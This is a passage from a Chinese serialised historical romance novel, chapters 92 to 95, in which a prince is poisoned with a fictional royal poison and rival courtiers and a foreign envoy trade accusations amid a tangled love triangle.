“有没有时间也不是让你这么瞎胡闹的!”顾望笙严肃起来,下地走过来坐他对面, 盯着他道,“我说真的,这不行。” 谢善淩争取道:“我自己有解药……” 顾望笙激动道:“这是有没有解药的事儿吗?吃药还三分毒呢, 你倒好,直接吃毒药!有解药也经不起这折腾啊!别说了!” 谢善淩啧了一声,说:“你不要不顾大局。” 顾望笙黑着脸说:“你不要又给我犯犟。” 谢善淩的脸色也沉下来, 说:“我原本可以不提前知会你。” 顾望笙不如平常一般让着他, 针锋相对道:“我还要谢谢你是吗谢思玄?” 谢善淩不再说话,垂眸望着偶尔闪烁的灯火。顾望笙则望着他在烛光中这几日眼看着消瘦了一些的脸,许久,轻叹了一声,再开口时语气软和下来。 “不是凶你,我是真急眼, 真怕你这么干。”顾望笙抬起胳膊, 用指节轻轻蹭蹭他的脸, 苦口婆心地劝,“犯不着冒这险啊,实在不行,结盟后豲戎开拔往黔阳去的路上折腾他们,法子多得很。” 过了会儿,谢善淩闷声道:“就是觉得恶心……” “又怀上了?”顾望笙问。 谢善淩不悦地斜睨他,给了他一个白眼表示自己没心情。 “好了好了,不逗你,这不看你心慌么,”顾望笙捏了捏他脸颊,心疼道,“你这都操心得没肉了……恶心的事儿多了去了,这就一张废纸罢了,犯不着为这个,啊。” 好劝歹劝的,谢善淩终于略舒了口气,承诺放弃那个吓死人的想法。 顾望笙却嘀嘀咕咕:“你还承诺不用美人计呢,结果见人就用……” 谢善淩坦然地纠正他:“我是说非必要不使用,这一路都相当必要。” 顾望笙嘴角抽抽,小声地骂骂咧咧,仔细一听全是骂将灵和顾裕泽。谢善淩建议他可以添上顾裕骐,他颇有原则,说顾裕骐不属这一类。 * 翌日,谢善淩如常一般去礼部点卯,手中拿着待办的文书,却不由出神盘算起后面的事…… 突然谢聪的声音火急火燎响起:“少爷!少爷!快回去吧!大殿下出事了!” 谢善淩回过神来,愣了下,看向寻来的谢聪,还算镇定,问:“怎么了?” 谢聪满脸都是汗,嚷道:“大殿下在外头突然吐血昏迷被送回来了!” 手一松,文书掉到桌上,谢善淩根本顾不上,腾的起身就朝屋外跑。一旁的同僚们面面相觑,等他走远了才小声议论起来,却都还一头雾水。 不过很快消息就传遍了京城,他们就知道了。 ——大皇子殿下在三皇子的府上突然吐血不止,随即倒地昏厥,气息微弱,三皇子吓得一蹦三尺高,急急叫来府医一看,说是中毒了,三皇子更害怕了,赶紧将他送到谢府,连连撇清干系。 面对谢善淩铁青的脸,顾裕珩就差往地上跪下了,急切解释:“我可什么都没干啊!!我要干了我肯定认,但真不是我啊!我们当时啥也没吃,就坐院子里看我新养的几只鸡打架,突然他就……” 谢善淩依旧死死盯着他,似乎在辨别他话的可信度。 顾裕珩还要继续为自己辩白,谢善丰匆匆进屋,沉声道:“善淩,潘成栋死了。” 谢善淩的目光移向他,眉间微微蹙起。 潘成栋死在了京城某处巷子深处,初步验出是半夜死的,被人以利器割断脖子,伤口不致命,是生生流血过多死的,不难想象他死前经历了怎样的煎熬。 “是将灵,他杀了潘国栋,并且对大殿下下毒。”谢善淩沉声说道。 此刻他在中和殿中,皇帝就站在他的对面,脸色也很难看,听了他这话越发难看,不耐烦地说:“朕找你来是排除你的嫌疑,如今你嫌疑最大,你倒还惦记着拉扯将灵下水!” 谢善淩不可思议地直视他:“潘成栋暂且不说,难道我会毒害大殿下?!” 皇帝冷笑:“也不是不可能。所以你只是杀了潘成栋,没杀顾裕帧,只让他半死不活地睡着,待事了再给他服下解药。谢善淩,你不要以为朕老糊涂了,朕对你可是太了解了。” 谢善淩立刻说:“我若要私下里杀潘成栋,何必等到今日?” 皇帝正要说话,外头传来通传声,说是潘成栋的母舅为了潘成栋之死求见。 皇帝烦恼地皱起眉头,却还是先让人进来了。 这人名邹显,进来就往地上一跪,先恭恭敬敬地磕过头,随即哽咽着高声道:“成栋是臣的外甥,他父亲在外为国镇守边疆不敢为家事随意回京,臣定要为成栋之死讨得真相!” 皇帝不由得将目光瞟向谢善淩。 谢善淩面无表情,似乎丝毫不惧。 邹显却没看谢善淩,而是说:“臣刚刚拷问成栋的随身奴仆,得知他昨夜死前从家中出去,是受某人之邀密谈事情。” 皇帝微微挑眉,又看了眼谢善淩,问邹显:“谁?” 邹显:“豲戎,将灵。” 皇帝一怔,眼珠子转到邹显的脸上。殿内安静片刻,他皱眉问:“有何证据?” 邹显自怀中取出一张细长的纸笺,呈过头顶。 “……拿过来。”坐在案桌后的皇帝道。 邹显这才起身将纸笺送去,皇帝一看,头疼道:“能不能遇事多想一想?将灵约他密谋谈事,其实是为了杀他,啊,事前还写个纸条留着给你们当证据,生怕别人不知道事儿是他干的?” 说着忍不住又看一眼谢善淩,满脸写着“你都沦落到用此等拙劣的手段陷害将灵了吗”。 谢善淩却神态自若,毫不慌张。 邹显忍着悲痛哽咽道:“臣也如此怀疑过,可臣查验得知这字迹确是将灵的!而且有人见着了,送这纸条给成栋之人是豲戎使团里。” 说罢,他朝地上一扑,哀声道,“臣姐姐膝下唯有一儿一女,竟接连不幸,臣恳请陛下必定要为成栋寻出真凶,为他讨得一个公道啊!!” 皇帝又看向谢善淩,谢善淩不再忍,愠怒道:“陛下总以怀疑的眼神看臣做什么?大殿下与潘成栋先后脚遭人所害,很难说是巧合,凶手或许皆是将灵!” 遭他这一顿呛声,皇帝也来火了:“你与潘成栋的仇、对豲戎和将灵的恨,谁人不知?如今若将此事栽到将灵的头上,大梁和豲戎结盟一事必不可行,你打的无非就是这个主意,以为朕看不出来吗?!” 谢善淩冷笑道:“臣知陛下维护将灵是为了维护与豲戎的结盟,可臣已经是受过一次冤枉的人了,不会再不知反抗地受第二次。” “大胆!”皇帝猛拍桌子,指着他鼻子道,“那你倒是说说,将灵为何要杀潘成栋?” 谢善淩却一时迟疑起来,皇帝正要乘胜追击,谢善淩开口了。 “为了我。”他说,“将灵行事诡谲,不可以常理论之。也许他是为了栽赃我,转移给大殿下下毒的嫌疑,也可能……是因为潘成栋与我有仇,他为我报仇。” 皇帝气急反笑:“你自己听听你在说什么鬼话!” 谢善淩垂眸:“陛下理应召将灵前来对质,而不是诘问斥责臣。” “朕不需要你来教做事!”皇帝喘了几口粗气,目光在下面两人身上逡巡一阵,想了想,道,“来人,请将灵入宫!” 将灵很快就到了。迎着邹显和谢善淩仇恨的眼神,他听完皇帝简单讲述前因后果,手一摊,不慌不忙道:“还好我有人证。昨日从傍晚到深夜,我一直和楚王殿下在他府中饮酒谈论两国结盟与之后剿匪的事,楚王府的诸多人都可作证。后来我喝醉了,还睡在了王府的客房。” 谢善淩冷眼看他:“需要你们亲自动手吗?” 将灵朝他一笑,反问:“你这不就是胡乱攀扯吗?这你怎么说都行啊。不过你若非要这么说的话,你毒大皇子不是更方面?杀潘成栋也不需要你亲自动手。” 谢善淩正要与他争执,皇帝摆手阻拦,道:“都不要说了!说来说去也不会有结论。交大理寺……”他一顿,道,“由刑部、都察院会同大理寺三司查办此案,东厂和锦衣卫从旁协办。” 说完,看向将灵,语气和缓道:“你放心,朕会查明此案,不会偏信小人的挑拨。” 将灵拱手道:“那小王就多谢陛下的信任了。”随即意味深长地瞥了眼谢善淩,朝皇帝使眼色道,“不如早点签完结盟契书,我就立刻传书回去让大军开拔前去剿匪,早一日令陛下得以安睡,也令那些处心积虑想要破坏结盟的人早日放弃这个念头。” 作者有话要说: 久等了。 第93章 ◎我真想杀了你,谢善淩。但我又不想你到死都还是爱着他、恨着我。◎ 皇帝还未发话, 谢善淩先悲愤交加地质问:“我是痛恨豲戎,也不想大梁与虎谋皮,可难道我会献祭自己夫君的生命安危来制止吗?!” 将灵不由得笑了起来,似乎这是一句很好笑的话。 “别人大概硬不起这心肠, 但思玄你就说不一定了。”他看着谢善淩笑着如此说道。 皇帝想起谢善淩与将灵的当年情仇, 眼中流露出赞同之色, 竟忍不住微微地点了点头。 谢善淩见状,握拳的手紧了又紧, 眼中憋泪直到发红,死死咬住嘴唇, 不再说话。 皇帝想他也是无话可说,自个儿想了想, 挥了挥手:“好了,等三司查案吧!都给朕私下里不要惹乱子!谁胡来,那有理无理都变无理!去吧!” 也许是因为潘凤潘成栋妹兄二人接连遭难, 并且潘国梁不在京城,局势过于复杂,邹显显得很疲惫。 即便他认为的真凶和另一个素有旧仇、嫌疑很大的真凶就在面前, 他都未多说什么, 并不纠缠,闻言朝皇帝恭敬地又叩拜了一顿,随后规矩地退了出去。 谢善淩僵站着直到邹显离开,他抬头看着皇帝,就在皇帝打起十二分精神准备训斥他闭嘴时,他一言不发地转身就走, 无任何礼节, 放肆之极。 皇帝当即大怒就要叫他回来叱骂惩罚, 可话到嘴边,生生忍住。 想了想,只叫进来太监去追着谢善淩传口谕,让谢善淩即日起只准留在家中照顾大皇子直到大皇子康健,除非传唤,不得擅自跨出府门一步,否则便以罪论处。 随后他看向将灵,安抚了几句,表明自己不会受到离间动摇的结盟决心,让将灵也不要动摇。 “今日见陛下如此态度,哪还有不安心信任的。豲戎大军已整装待发,只等明日盟契签订,贵国备好通关文书,打点好边关及沿途的军将,豲戎军便可直驱南腹,剿除匪患,从此陛下可安寝,我豲戎则与大梁通商,受大梁扶持教化,改游牧为农耕,从此丰衣足食,自也不必再受贫瘠之苦,冒险去掠夺边疆。”将灵道。 皇帝欣慰道:“如此就好。” 将灵突的话锋一转:“在公事之外,小王有个不情之请。” “你说。” 将灵迟疑了一阵,叹了声气:“无论此次是谁设局陷害……请陛下不要责罚于善淩。他过于固执,于豲戎而言是敌非友,可他仇恨豲戎不过是出于他对大梁人的真挚爱护之心。这样的人,即便是敌人,豲戎人也钦佩。” 皇帝:“……” 这算什么不情之请?这可太情了! 半晌,皇帝叹道:“问世间情为何物……谢善淩是朕嫡子的妻子,你……收敛点儿,不然朕也下不来台。” * 谢善淩缓慢地走在长长的宫道上,残阳挂在天际,昏鸦哑哑,他面无血色,似是脚下有针,每一步都走得极其痛苦艰难。 突然身后传来了衣角飞速掠过风声,有人奔他而来,他仍旧走了几步似乎才反应过来,迟缓地停下了脚步,一脸麻木地抬眼看着拦在自己去路上的将灵,眼中渐渐溢满仇恨与厌恶。 将灵依旧是那副满不在乎、吊儿郎当的笑模样。“我都没恨你,你倒这样地恨起我来。”他感慨似的说,然后问,“这一切就只因为我是豲戎人?” “你杀过多少大梁人?”谢善淩冷冷地问。 将灵眉间有一丝不耐烦:“这个问题你以前问过我,我也问过你,你杀过多少豲戎人,所以能打住吗。” 谢善淩:“血海深仇打不住。” “呵……好,那我问你,”将灵上前一步,低头凑到他耳边,用很轻的声音问,“你那好夫君秦青,他杀过多少大梁人?我是豲戎人,杀大梁人理所当然,他身为大梁的大皇子,却也杀大梁人,你却只和我认死理,这公平吗?” 谢善淩猛地抬起手就要扇他耳光,却被将灵眼疾手快地握住了手腕。 “把解药给我!”谢善淩红着眼睛瞪着他,浑身都在颤抖。 “现下只有你我,还装呢?”将灵笑着说,声音轻柔,“若是我下毒,我就直接毒死他,然后霸占你。但我不会再为了儿女情长……不会再为了你毁掉我的宏图大业。” 他的笑容渐渐消失,看着谢善淩的眼中满是仇怨:“你不配。” “我在豲戎听说你抑郁成疾,日夜地想你是否其中有一丝是为了我,我有多恨你,我该多恨你,可我却最恨我还依旧爱着你、为你开脱!” 谢善淩的胳膊被迫维持着刚刚扬起的姿势,将灵攥着他手腕的手越发用力,似是想将之折断。 “结果呢?”将灵的声音越发冰冷,“结果你和顾裕帧成亲……这我不怪你,也许你有苦衷,可你却和他夫唱夫随当真恩爱起来!好……我也忍了。可你得知我没死,你有一丝一毫的庆幸吗?你只想知道我为什么没死,只想再一次杀掉我!” “你可以没有心,但你有心,心在别的男人身上。”将灵的眼中竟也湿润起来,“谢善淩,那个时候,你难道真的每一刻都在骗我吗?” “……” 半晌,谢善淩败下阵来,沉默地避开他的视线。 “……为何不看我?是心虚吗?还是……你可以反驳我?”将灵问。 许久,谢善淩轻声道:“得知你是豲戎人之前……” 将灵无奈地打断他的话,痛苦质问:“你究竟为什么一定要执着于我是大梁人还是豲戎人?” 不等谢善淩回答,急促地问,“所以,其实你是爱过我的,是不是?只是因为我是豲戎人才逼自己不爱我,是不是?!” “……”谢善淩深呼吸,看回他的脸上,“将灵,把解药给我。” “还装?” 谢善淩忍无可忍:“还在装的人是你!那毒是豲戎王宫里才有的秘传,我一眼就看出来了!” 将灵忽的笑了,问:“既然是豲戎王宫里才有的秘传,怎么你会知道?” 谢善淩一噎。将灵这才松开他的手腕,却在下一瞬就按住他的肩膀将他按到一旁的宫墙上,看着他低低道:“我告诉你的。” “……” 那时两人私奔,谢善淩有时会露出郁郁之色,半夜有风吹草动就会惊醒,久久不能入眠,将灵问他,他说是怕人追来,也许是大梁的人,也许是豲戎的人。 将灵心疼得紧,安抚他不必害怕,将保命的毒药放在他的身上,告诉他如何使用,或用在敌人的身上,或在实在迫不得已时用在自己的身上蒙蔽敌人,将灵会用解药救他苏醒。 …… “那药你一直留着,用在了顾裕帧的身上。”将灵笑起来,“哈哈哈哈……谢善淩,你为达目的比谁都不择手段,却偏偏还要以为自己比谁都正义非凡,这样的人能做出什么事来,即便是世间最恶的人都不敢想。” “我没有!不是我!”谢善淩急道,“这次我真不是装的!” 他眉头拧紧,揪住将灵的衣襟问:“这里没别人,你不给我解药我也束手无策,所以你老老实实告诉我,毒是不是你下的?如果不是你,还能有谁有这个毒?” 将灵愣了愣,与他大眼瞪小眼:“真不是你?” “我真疯了吗没有解药我也敢往他身上用?”谢善淩崩溃道,“你给我的那瓶毒丢了!我不知道什么时候丢的,当时我杀了你我也——” 他猛地意识到什么,停住不再说,脱力一般低下头。 将灵眼中一亮,问:“你也什么?” “……我一时疏忽,不知什么时候丢了那瓶毒。”谢善淩低声道。 将灵追问:“你刚想说你也什么?你告诉我,也许我愿意帮忙想想解药放在了哪里。” 谢善淩过了许久却只是哀求道:“把解药给我……” 将灵坚持:“你先告诉我,你刚想说什么。” 又过了一会儿,谢善淩的身体颤抖,哽咽道:“将灵,我求你,把解药给我,我不能失去他……我最痛苦的时候,是他陪着我……” 将灵的脸颊抽搐了几下,低头看着他,恨笑道:“你这是希望我把解药给你的样子吗?看来你其实有解药,又或者根本也不在乎他的死活。” 谢善淩哭着摇头:“不是……我求求你,你把解药给我,我的病……若没有他,我撑不下去……” “是吗?”将灵凉飕飕道,“我最痛苦的时候可没人陪着我,我的心病都没人医治。” 谢善淩只是哭着一味摇头哀求,其他的话再说不出半句来,哪有平日倨傲的影子。 将灵是第一次见到他这样子,不再说话,就静静地面无表情地看着。 谢善淩哭了很久,最后哭得没了力气,脚下一软,将灵急忙将他抱入怀中,这一瞬间,心不由漏跳了几拍。 “……” 咽下一口唾沫,将灵轻声问,“他比我好在哪里?你就如此爱他……只因为他是大梁人,我是豲戎人吗?明明是我先与你相知相许……” 他手用力,将怀中人抱得更紧,闻见已经不再甜腻的淡淡的荔香。 “我真讨厌这个气味,你以前也并不喜欢这样的香气。他喜欢,我知道,他在浔阳时吃了很多荔枝,我什么都知道。”将灵垂眸望着谢善淩乌黑的发,抬手轻轻抚摸。 察觉到的谢善淩抖了一下,似是这才反应过来,伸手要推开他,但此时没什么力气,推的手软绵绵的,将灵很轻易就压制住了他。 “我真想杀了你,谢善淩。但我又不想你到死都还是爱着他、恨着我。” “若是你一直像现在这样软弱无力该有多好,我就可以对你为所欲为。但是我想了又想,若你一直是这样,也许我就没这执念了。” 作者有话要说: 顾裕骐:@谢善淩,他真的话很多,是吧。 谢善淩:……其实以前他还是江凌的时候就这样。我还以为他装的,结果真的就是话痨。 顾裕骐:所以你就喜欢话痨是吗? 谢善淩:你在设陷阱坑我是吗? 第94章 ◎“我恨你,谢善淩,我恨你。”◎ 天色黑了下来, 谢善淩不知何时止住了泪水,但他没有动作,将灵知道,也没有出声, 两人维持着这样的姿势, 仿佛能假装时间静止在这一刻。 直到一阵凉风吹过, 谢善淩哆嗦了一下。他还未说话,将灵松开了他, 解开身上披风一展,披到他的身上, 温柔地为他系好。 “……” 谢善淩低着头不看将灵,抬手要解开, 将灵攥住了他的手,没用力气,谢善淩随意就将手抽了出去。 将灵的手在空中停了停, 保持着虚握的手势,片刻后才缓缓捏成了实拳放了下去。 “你又在勾引我,是吗?”将灵低笑着问他, 却又像在自语。 谢善淩仿若被这句话所惊醒, 脸色微变,这一次干脆利落地抬起手又要解开披风还他,将灵的动作也比刚才干脆许多,用力抓住了他的手,令他挣不开。 “是被我拆穿恼羞成怒,还是欲擒故纵?”将灵定定看着他。 谢善淩冷笑起来, 抬眼对上他的目光, 问:“是我让你阴魂不散地纠缠我吗?” “难道不是吗?”将灵幽幽说道, “你骗我,诱惑我,让我爱上你,然后背叛我、抛弃我。我重返京城,你就复出再度为官,难道不是为了撞上我?说吧,算了,不必说,你不过是想我再被你杀死一次,死彻底,我知道。” “……松手!”谢善淩说罢,又挣扎起来。 将灵松开了手,看着谢善淩脱下披风砸到自己怀里,看着他转身离去。 轻轻的声音随着夜风从身后送来谢善淩的耳中。 “我恨你,谢善淩,我恨你。” 谢善淩的脚步停顿了很轻微的一瞬,在黑夜里难以看出来。但他立刻就按照原本的步伐继续离开了。 深邃的眼眸凝视着他清瘦的背影,直到他与夜色融为一体。 将灵再强撑不住,扶住一旁的宫墙,微微佝偻着腰背咳嗽起来,急促地发出粗重的喘息声,从怀中掏出药瓶倒了两颗立刻塞入口中,许久才渐渐平复,站直了腰,转头看向缓步走来的顾裕泽,扯起嘴角又露出惯常玩世不恭的笑来。 “你从哪里弄来阖杀的?”将灵好奇地问。 顾裕泽停在他两步外的距离,平静地看着他,说:“你又被他骗到了。” “不算。”将灵说,“我只是同时怀疑你们两方。也许是他在贼喊捉贼,但也可能是当初你趁他杀了我后惊慌失措难过之际偷走或捡走了我放在他身上的阖杀。” 顾裕泽:“当时他以为亲手杀了你,并没有惊慌失措或难过,他很兴奋。” “哈哈哈哈……我不会相信。”将灵挑眉,道,“你终究不理解他,编也编得不像。他就算真心杀我,却也会为我伤痛一场。” 顾裕泽淡淡道:“你足够理解他,又是落得如何下场?” “哈哈……那也比你好。我是豲戎人他才恨我,若我是大梁人,他早就与我双宿双栖了。可你是大梁人又如何,即便你是大梁的皇子也得不到他。我赢了。”将灵说。 顾裕泽看着他:“给潘成栋放血的伤口是四棱刀所造成,豲戎人宰杀牲畜时惯用的刀。” 将灵不慌不忙地反问:“难道大梁造不出四棱刀吗?这样就想嫁祸给豲戎?” 顾裕泽沉默一阵,道:“你该去谢府亲自查验那毒是不是阖杀。” 将灵哼笑道:“那你陪我走一趟呗,否则他们不会让我靠近你们的大殿下。” 两人目光相接,达成了共识。 如今谁也不承认是自己动的手,三方皆有可能使用阖杀,既僵持不下,不如先确认顾裕帧是不是真的中了阖杀,或者……中毒的人是不是真的顾裕帧。 * 由三法司提出,皇帝同意,顾裕泽便与将灵连同数位太医、三法司负责此案的堂官来到谢府,要求在将灵的见证下再次查验大皇子所中的毒是否谢善淩口口声声所说的豲戎王室才有的秘传之毒阖杀。 自顾望笙中毒数日以来,谢善淩鲜少出门,尤其如今被明令禁足。 他一直陪伴在病床前,关于照顾昏迷不醒的顾望笙,无论事情巨细他都一一过手,不肯假手他人,已是衣带宽松,形容憔悴,嘴唇微微干裂泛白。 此刻谢善鸣引着乌泱泱一众人进屋来,虽然已经事先打过招呼,谢善淩仍旧用防备和质疑的眼神瞪着来者,起身挡在床边,弱小无助却又倔强。 谢善鸣轻咳一声,提醒他:“善淩。” 顾裕泽的语气不冷不热,说:“只是例行验证,不必多心,诸位都在旁看着。” 半晌,谢善淩说:“太医我信任,但将灵不能靠近。” 将灵笑出了声:“谢善淩,你真的太霸道。是你口口声声说是豲戎王室才有的毒,如今却又不让我这个京城里除你以外唯一熟识此毒的人查看,是怕我认出来这是一场诬陷吗?” 谢善淩冷静地说:“我只是不信任你。若你趁机又动什么手脚……” “我不碰他,就站近点看看。”将灵说。 谢善淩考虑了一下,依然摇头。 顾裕泽正要开口劝说,将灵忽然自顾自说了句“好”,然后便抬手解起了衣带。众人刷刷看向他,为他的举动而神色惊诧。 将灵慢条斯理地往下解身上的东西,譬如挂着玉佩的腰带,譬如护腕,譬如怀中揣着的匕首…… “啊,这个是一贯带着防身的,只在入宫时暂且摘下。别误会,我没打算用它来捅大殿下。”将灵解释着,将匕首一并放到身旁的八仙桌上,开始脱外衣。 顾裕泽露出些不忍卒视的神情:“你……” 将灵打断他的话,说:“一帮子读书人整天用这事攻讦我、攻讦豲戎,致使结盟定约一拖再拖,我对王城那边很难交代,都有人怀疑我谎称和大梁结盟实则是叛国投奔大梁了。我不得不尽早证明自己的清白。” 说话间,他将外衣脱下,身上只剩下了一套白色的中衣。 将灵张开双臂,朝谢善淩勾起嘴角:“如何,还要继续脱吗?我不介意。” 他身边的人们可介意得很,神色一言难尽,最终看向谢善淩。 谢善淩冷漠地看着将灵:“继续。” 将灵当真脱去中衣上衣,正要脱裤子,顾裕泽忍不了地说:“够了!成何体统!” “装什么呢,羡慕死我了吧,你不想当他面脱裤子?”将灵调侃道。 周围人脸上顿时写满了“我究竟是听到了何等脏污的东西啊”,恨不能当场昏厥或说家中急事…… 顾裕泽看向将灵,眉宇间有隐隐的愠怒,强压住道:“不要在这胡来。”随之看向谢善淩,声音缓了一些,劝道,“就这样吧。” 谢善淩犹豫了片刻,终究还是侧了侧身,这就是同意了的意思。 将灵就这么走去床边,还有半步时,谢善淩冷声道:“就在这看。” 将灵好脾气地应了一声,低头看去,顾望笙静静地躺在床上,从刚刚起没有任何动作和声音,闭着眼睛的神色宁静,呼吸微弱,不注意便会忽略,仿若一具已经安去多时的尸体。 “谁掀开他眼皮看看?”将灵道,“中阖杀之人,眼白上会有异样。” 谢善淩亲手掀开顾望笙的眼白,太医们先前看过倒没什么,三法司的几位官员探头一看,心中大骇。 大皇子的眼白上密密麻麻布满乌青的丝状,乍一看甚是吓人。 将灵的笑容渐渐淡去,眉头微蹙,想了想,道:“你让你信得过的人来摸摸他脸。我现在怀疑这不是大皇子殿下。” 谢善淩看着他:“你先告诉大家,这是不是中了阖杀的症状。” 将灵停顿了片刻才说:“是。” “你承认就好。”谢善淩道,“太医与三法司的大人都可上前查验这是否大殿下真身。” 顾裕泽便站着没动,给了其他人眼神示意去验。 众人在谢善淩死死的盯视下冒着汗仔细摸过大皇子的脸与颈部,确认不是谁易容假扮的,这就是大皇子本人中了阖杀躺在这儿。 将灵的神色已经不是刚进来时的轻松自信,他拧着眉头,似乎很难接受似的一直盯着顾望笙看。 许久,他慎重地说:“我仍只能说我与豲戎是被陷害了。我们绝对没有对大皇子动手。当然,潘成栋的死也与我们无关。” 谢善淩冷笑起来,视线在他和顾裕泽之间逡巡了两个来回,最终落在大理寺少卿的脸上。 “大殿下所中的阖杀之毒暂且不说,农大人及诸位大人都知道,案卷中写明了潘成栋死前和凶手纠缠挣扎间大约是咬住了凶手某处,因而验尸时他牙间始终有股异香挥散不去……” 谢善淩缓缓说道,“而这异香来源于产自豲戎的奇花夜琉璃,也是豲戎杀手常用以刺青的染料,此举为防杀手叛出,好追踪。一旦刺青处受伤流血,会大大激发香味。” 将灵想了想,看向顾裕泽:“好一出直接却又令我辩无可辩的局啊。” 顾裕泽淡道:“父皇已将此案交由三法司查定,只是你坚持亲自查验皇兄所中之毒,父皇恐怕谢家生忧,因而叫我陪同做个见证。其他的,目前不由我管,以三法司的结论为准。” 将灵笑了一声,没说什么,只是眼中嘲讽之色越发浓厚。 顾裕泽看了他一眼:“你可以把衣服穿回去了。你如今还代表豲戎的脸面。” “呵……” 将灵看向谢善淩,后者似乎对他和顾裕泽的争论没有丝毫兴趣,正用帕子浸入刚刚下人送进来的热水,拧干后细致温柔地擦拭着顾望笙的脸和脖颈。 当年他一剑捅穿自己胸膛时,不是这样的。 将灵将衣服穿回去,正要走,谢善淩淡淡道:“如果他死了,我会陪他。他自幼无亲,孤苦伶仃,我答应过不会再让他一人独行。” 将灵回头看他。他没有看自己,也没有看顾裕泽。 第95章 ◎将灵说他当年诈死一事是四皇子从中襄助才得以脱身◎ 顾裕泽忽的转向将灵, 说:“既是豲戎王室的密毒,你应有解药,不妨拿出来救治我皇兄,也表两国友好之意。” 将灵原本神色黯然看着谢善淩, 闻言有点不耐烦地看顾裕泽一眼, 似笑非笑道:“四皇子会做好人。” 他说着, 看到了躺着的顾望笙身上。 “解药的方子我知道,需现配。其他好说, 虽是珍贵药材,大梁地大物博, 收全不难,但其中一味药引要取生活在沓沓尒草漠辣荆附近的十年以上的野外活沙蝎三只, 我现下没有。我可以传信叫人去找,但能否找到、何时找到,我不能保证。”他说。 谢善淩终于看向了他, 问:“中毒之人可以等多久?” “三个月内他仍有意识,就像此刻其实他一直能听到我们在说什么,只是无法动弹。三个月后, 他会渐渐失去意识, 至于快慢不一定,依各人意志而定。直至最终彻底与死尸无异。” 说这话时,将灵一直用意味深长的目光看着谢善淩。谢善淩虽然故作镇定,眼中仍有一闪而过的恍惚心虚。 当年他将阖杀交给谢善淩,是让谢善淩在关键时刻以此假死保命。 这何尝不是他自己用来假死保命的底牌。他给了谢善淩,却在被谢善淩捅透胸膛后, 听到对方对赶来的顾裕泽说:“豲戎有一药能令人如同假死脱身……” 所以谢善淩让人架火焚烧他的尸体, 以防他用阖杀脱身。 将灵猛地转过身去背对着众人, 深呼吸了两口气,将腰背挺得更直,昂着脖子,说:“没别的事小王这就回官驿去赶紧传信王城……谢大人叫那些读书人停手吧,若小王与他们计较起来,闹到陛下面前,不好看。” 谢善淩看着他的背影,沉默一阵才说:“有劳。” 将灵凄笑了两声,不再言语,快步走了出去。 顾裕泽目光沉沉看着谢善淩随着将灵动作而移动的眼睛。谢善淩忽然视线一转,与他对上,那隐隐一线的动摇便又成了防备与厌恶。 他想说点什么,却最终一言不发,转身也离开了。 屋内的人纷纷跟着出去,最后剩下谢善鸣,他走过来,斟酌着说:“我去送他们。你……不要有偏激的想法。若如将灵之言,大殿下此刻将外界之声听得明明白白,他一向珍视你,听见你那话得有多焦急担忧。他自是希望你好好的。” 谢善淩转头看着顾望笙,恨声道:“那就急死好了,谁让他中毒吓我,我就要他死也死不安生。” “你……唉……这哪能怪他……” 这堂弟的怪性子又发作起来,谢善鸣不知如何应对,想也只有大殿下应对得来,不由得多看了几眼床上一动不动的人,叹了好几声气,最终拍了拍谢善淩的肩膀以示安慰,不再多说,也出去了。 屋内恢复了静沉沉。 谢善淩摸了摸水已经凉了,便不再管,转头看顾望笙,脸上没有表情。他就这么坐着看着,如同一尊没有生气的石像。 * 将灵还未制出解药时,又发生了变故。 谢善淩被宫人引去中和殿,见到顾裕骐、顾裕泽和将灵都在,顾裕泽还算镇定,但不难看出他脸色之差。皇帝坐在桌后,也是面沉如水。 见他来了,皇帝瞥过去,怔了怔,不由多看了几眼。 短短时间,谢善淩已然形销骨立,身上的衣裳像挂在一个架子上似的空荡荡,双目飘忽,眼下乌青,嘴唇苍白,说话的声音气若游丝,看起来随时都可能倒下。 虽然皇帝早听说了他这段时日的表现,可亲眼看到还是愣住了。 半晌,皇帝犹豫了下,叹了声气,有几分真心,也有几分假意。“来人,赐座。”他说。 谢善淩没有推拒,看起来不是出于倨傲,而是此时他对一切都没有兴趣,懒洋洋地不想多说一句话,因此让他坐他就坐了,大概让他起他也会起,让他一直跪着他也就一直跪着了。 原本皇帝想开门见山的,被他这副样子唬住,不由得声音都柔下来几分,寒暄道:“裕帧近日怎么样了?朕每日都问了去看他的太医,说脉象还算平稳。” 谢善淩垂着眼眸,轻声说:“死人的脉象也很平稳。” “说什么胡话呢!”皇帝啧了一声,看着他这要死不活的样儿,终究没了脾气,叹道,“倒没想到你有如此真心……” 谢善淩耷拉着脑袋,没接话。 皇帝想了想,说:“料你也没心思多待,就早点问完你话,你再回去守着吧。” 谢善淩这才又出声,短促地应了下。 皇帝视线扫过其他三人,落回谢善淩的身上,说:“将灵说他当年诈死一事是四皇子从中襄助才得以脱身,因为事涉到你,朕就叫你来问问。” 谢善淩过了一小会儿才缓慢地回答:“有或没有,我都不知道。当时我昏昏沉沉,没注意。若我知道……” 他没往下说,可在场的人都知道后面是什么。 “朕想也是,只是终究叫你来问问方才周全。”皇帝说着看了眼顾裕泽。 顾裕泽开口道:“思玄,你或许没注意到其他人,可当时我一直陪在你的身边,寸步未离,你还记得吗?” 谢善淩低着头思考了很久,缓缓道:“不记得了。我头很晕,现在我只想顾裕帧醒来,其他的都与我无关,我不想掺和你们的事了,能不能放过我和他?我什么也不掺和了,你们要结盟,或是打仗,我都不管了……” “思玄!” 谢善淩抬起脸来,眼下两行清泪。 “我错了,”他的神情很茫然,像与家人失散的孩子,轻声说,“我真不该搅和这些事,这都与我何干?是我害了他。” “……” 将灵看着顾裕泽吃瘪,哼笑了一声,轻松道:“四殿下其实也不必太过慌张,总之如今两国交好,我这条命有赖殿下当日襄助才得以留下,也才有今日,陛下不会为这陈年旧账责罚与你。” 顾裕泽锐利的目光瞪向他:“若真如此,你又何必处心积虑构陷于我?” 如今两国是交好,可当时没有。若坐实了当时发生这种事,那他就有了里通豲戎的大罪。固然不太可能在明面上惩戒他,可这终究是一根刺。 更何况,将灵还说了一件对顾裕泽极其不利之事—— 他坚称当日为求得生机,与顾裕泽达成了交易,将豲戎密探多年来收集编纂的记录有大梁数百千权贵官员秘密把柄的《权谍录》给了顾裕泽。 这若传出去,人人当自危,对顾裕泽更会忌惮。 顾裕泽断然否认。 将灵拿不出他拿了《权谍录》的证据,却拿出了浔阳城官员与豲戎七王子这些年来往交易的账册及密信。根据其中提及信息,暴露了浔阳城表面是三皇子附属、实则却为四皇子所有的秘密。 顾裕泽依旧否认,反指将灵造假,为了转移先前大皇子中毒及潘成栋被虐杀一事中的嫌疑。 